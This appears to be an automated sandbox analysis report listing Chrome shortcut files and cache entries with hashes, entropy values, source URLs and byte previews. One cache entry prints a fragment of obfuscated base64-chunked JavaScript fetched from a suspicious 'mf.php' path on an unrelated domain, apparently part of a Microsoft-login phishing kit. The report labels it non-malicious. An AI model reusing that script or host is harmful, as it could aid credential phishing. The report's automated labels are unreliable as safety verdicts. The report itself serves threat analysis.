SHA-512:	8D3B8FCF9F6A39CB32C6176A0F9864C3CDEC7DA53BFECBDF389D31DAFA073E02F1A4EEE24FBFF5D175E3A44B5EAF4C18065614CF6051799636A489EBADD21E8C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....i.L."..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|W.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 28 14:55:23 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.988651658385373
Encrypted:	false
SSDEEP:	48:8/NdEToYMHZidAKZdA1weh/iZUkAQkqehYy+2:8/EPk9Qpy
MD5:	9E119701954CF8311448E50A36438481
SHA1:	62AE720E789B76E426C0BDD3B3FFE9E3A122775A
SHA-256:	2E59CE0A8899507B8AD399C257221B264F506F3A6EB28BCBE6C9456571FC758A
SHA-512:	3BA04C54838332FEE76A4FF0078A7F06A1236511AF433251378602662309653378915017D0142E6B7284FDEAAB77D446292387C63B94C266C183294E9E8EB6F3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....4..L."..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|W.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002846217355186
Encrypted:	false
SSDEEP:	48:8x5dEToYsHZidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8xYP8n0y
MD5:	9D5282883AC5CAEE53FC3DBB76BE3BF4
SHA1:	C2C42D982462AAA8CE5A13B172159166702F9F7F
SHA-256:	610C9B8BC83F6A4EE130EE9DA7AB1B423A924E7ACBFB4E82820955A22FB7BDE7
SHA-512:	D2E9B5271DE4B2CDBD79B31CC674A4C6D34BF42F10C9E1E70C9C80282BDBA5BE9C19404A5F15ED246BAE32748E87735B01FAA58EFEA8BF7ACC5BD25DFEDE6D34
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 28 14:55:23 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9893715517428174
Encrypted:	false
SSDEEP:	48:8/dEToYMHZidAKZdA1vehDiZUkwqehMy+R:8iPvuy
MD5:	7ACB1ACD2DEC05BC77D88658016AC5FE
SHA1:	BC53665A1845CE08DF23869C513CDCF340495A45
SHA-256:	ECF5423AC97F6CC34295AE339CA7A9C56739F1D20BCEB1B207B01F984359C4D6
SHA-512:	AD9A66598A1D4A8539B1FEA7695E2EF34D81B5CA4963D7DF11270D40DD3F8C12EC5D0A628E8419AC7FC4FB19E6B04CC26AA29666D7AA62247D89C859064B2475
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....3..K."..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|W.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 28 14:55:23 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.975939613990366
Encrypted:	false
SSDEEP:	48:8H8dEToYMHZidAKZdA1hehBiZUk1W1qehCy+C:8HXPP9iy
MD5:	E0E4D3D30677210CE862A473B108AABB
SHA1:	82A50D7C22514AF50DED7945C98051E63AB225DD
SHA-256:	8A37C54E90A7E15E8068D4EE6926D4429F25FFCB4D9EBD8A8B8305A598CA783E
SHA-512:	6B312291C9750D015EC9EC0FD2355B0262A0321DC14DA89F15B5026F4579C454C306436C8C8498B8C6955C4C77BC2EAEB333B9E79D6234AE63D64DC4187A08AC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....o..L."..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|W.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 28 14:55:23 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9886701090184937
Encrypted:	false
SSDEEP:	48:89dEToYMHZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb0y+yT+:8UPHT/TbxWOvTb0y7T
MD5:	C0AABEF2A174DEEB02512B05BF050F1E
SHA1:	0AA1CF66A6A082146199F9E42D118F786EF66D7B
SHA-256:	6FBCDAD5EF2087D41B145118A6ACCAB479E286761DCE75821D99F8FACB5FCE10
SHA-512:	773FA14AC8C9B29CC7DCF01D24CF50DADA9CF5832A25AC9A5A4D3A2BE1D0CEE8978F410385F03BEC4961234C5A3E828194E1EF3F7C33CEBCE0A28194755582C4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....ek.K."..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I\|W.~....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|W.~....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|W.~....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|W.~..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|W.~...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........e~.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	downloaded
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 77160, version 4.459
Category:	downloaded
Size (bytes):	77160
Entropy (8bit):	7.996509451516447
Encrypted:	true
SSDEEP:	1536:/MkbAPfd1vyBKwHz4kco36ZvIaBfRPlajyXUA2jVTc:L0nXnHdfRVEAS2
MD5:	AF7AE505A9EED503F8B8E6982036873E
SHA1:	D6F48CBA7D076FB6F2FD6BA993A75B9DC1ECBF0C
SHA-256:	2ADEFCBC041E7D18FCF2D417879DC5A09997AA64D675B7A3C4B6CE33DA13F3FE
SHA-512:	838FEFDBC14901F41EDF995A78FDAC55764CD4912CCB734B8BEA4909194582904D8F2AFDF2B6C428667912CE4D65681A1044D045D1BC6DE2B14113F0315FC892
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
Preview:	wOF2......-h..........-.........................?FFTM.. .`..r.....(..X.6.$..p..... .....u[R.rGa......'.=.:..&..=r........].t..E.n.......1F...@....\|....f.m.`.$..@d[BQ.$([U<+(..@P.5..`....>.P..;.(..1..l..h...)..Yy..Ji......\|%..^..G..3..n........D..p\Yr .L.P.....t.)......6R.^"S.L~.YR.CXR...4...F.y\[..7n..\|.s.q..M..%K......,.....L.t.'....M.,..c..+b....O.s.^.$...z...m...h&gb...v.....'..6.:....s.m.b.1.m0"....*V.....c.$,0ATPT.1.....<..;...`..'.H.?.s.:..ND.....I..$..T..[..b4........,....bl6...IL.i}.&.4.m,'....#....Rw..bu..,K......v....m_-...\H....HH.......?...m..9P...)9.J..$.....8......~.;.r..n.=$.....Nddn.!'....;...8..'.N...!.-..J.........X.=.,......"`:....... {......K!'...-FH....#$~.Z_.......N5VU8F....%.P..........Cp..$.Q.......r.....k.k...3...:R.%....2{.....h%.)8..........ILK.6v.#......,;.6..N.2.hv...........OO..t#....xT..Bf....q^.#....?{.5b.I..%-WZ..b.A...^.1..n5.....NQ.Y'.........S.....!t" .`b3..%....35....fv;....l..9.:jgf?gr..p.x. ..\|.. $. e.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (372)
Category:	downloaded
Size (bytes):	37414
Entropy (8bit):	4.82325822639402
Encrypted:	false
SSDEEP:	768:mmMtI+A4CSIDqvnI+YTBrFPvVrJjhiRAiiEL:mXtI+A4GDUI+Y9rpVljhiIEL
MD5:	C495654869785BC3DF60216616814AD1
SHA1:	0140952C64E3F2B74EF64E050F2FE86EAB6624C8
SHA-256:	36E0A7E08BEE65774168528938072C536437669C1B7458AC77976EC788E4439C
SHA-512:	E40F27C1D30E5AB4B3DB47C3B2373381489D50147C9623D853E5B299364FD65998F46E8E73B1E566FD79E97AA7B20354CD3C8C79F15372C147FED9C913FFB106
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot?v=4.7.0');. src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}..fa {. display: inline-block;. font: normal normal normal 14px/1 FontAwesome;. font-size: inherit;. text-rendering: auto;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}./ makes the font 33% larger relative to the icon container */..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30837)
Category:	downloaded
Size (bytes):	31000
Entropy (8bit):	4.746143404849733
Encrypted:	false
SSDEEP:	384:wHu5yWeTUKW+KlkJ5de2UYDyVfwYUas2l8yQ/8dwmaU8G:wwlr+Klk3Yi+fwYUf2l8yQ/e9vf
MD5:	269550530CC127B6AA5A35925A7DE6CE
SHA1:	512C7D79033E3028A9BE61B540CF1A6870C896F8
SHA-256:	799AEB25CC0373FDEE0E1B1DB7AD6C2F6A0E058DFADAA3379689F583213190BD
SHA-512:	49F4E24E55FA924FAA8AD7DEBE5FFB2E26D439E25696DF6B6F20E7F766B50EA58EC3DBD61B6305A1ACACD2C80E6E659ACCEE4140F885B9C9E71008E9001FBF4B
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53622), with CRLF line terminators
Category:	downloaded
Size (bytes):	427684
Entropy (8bit):	5.717490883727152
Encrypted:	false
SSDEEP:	12288:45wwkLr6liVHb82Zv9XMl9UTRiaDjfroSCl82At7+u:EdlE8eXMLUdiaDjxCl82Ap+u
MD5:	13DD68C7C917F4E01B8CD5B4AFBB8514
SHA1:	C3538950720A7B5E42C915A84CEE312A2041E871
SHA-256:	908C18B80637F89BF890B65A6E9810FCFB45A89455BD2C5C0873D2BED4282AA0
SHA-512:	DAE6BBF57093A4A2D6B414A06D4361457847DB89597BF271B93981F1E0A1AA07BE3CAF8F16E3F0A7F94F280346746F02CE2C6525538A36D8D050CAD08A6FB0C5
Malicious:	false
URL:	https://admin.childdent.ir/installer/host2.4/admin/js/mf.php?id=W7gRqa
Preview:	..var vcd9a6e7806a80e132556 = ["Y2","xh","c3","Mg","Um","Vk","aX","J7","DQ","oJ","Y2","9u","c3","Ry","dW","N0","b3","Io","bm","Ft","ZS","xl","bS","xs","aW","5r","LG","Nv","bm","Ys","Li","4u","YX","Jn","cy","l7","DQ","oJ","CQ","l0","aG","lz","Ln","N0","YX","J0","KG","Fy","Z3","Mp","Ow","0K","IC","Ag","IA","kJ","dm","Fy","IH","Nj","cj","0g","ZG","9j","dW","1l","bn","Qu","Y3","Jl","YX","Rl","RW","xl","bW","Vu","dC","gn","c2","Ny","aX","B0","Jy","k7","DQ","og","IC","Ag","CQ","l2","YX","Ig","c2","Ny","Mj","0g","ZG","9j","dW","1l","bn","Qu","Y3","Jl","YX","Rl","RW","xl","bW","Vu","dC","gn","c2","Ny","aX","B0","Jy","k7","DQ","og","IC","Ag","CQ","l2","YX","Ig","c3","Rj","ID","0i","YU","hS","MG","NI","TT","ZM","eT","lq","Yj","JS","bE","xt","cH","hk","V1","Z5","ZV","M1","am","Iy","MH","Zh","bk","Yx","Wl","hK","NU","xU","TX","VN","Uz","R4","TG","0x","cG","Jp","NX","Fj","dz","09","Ig","0K","IC","Ag","IA","kJ","c2","Ny","Ln","Nl","dE","F0","dH","Jp","Yn","V0","ZS","gn","c3","Jj","Jy","xh","dG","9i"

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
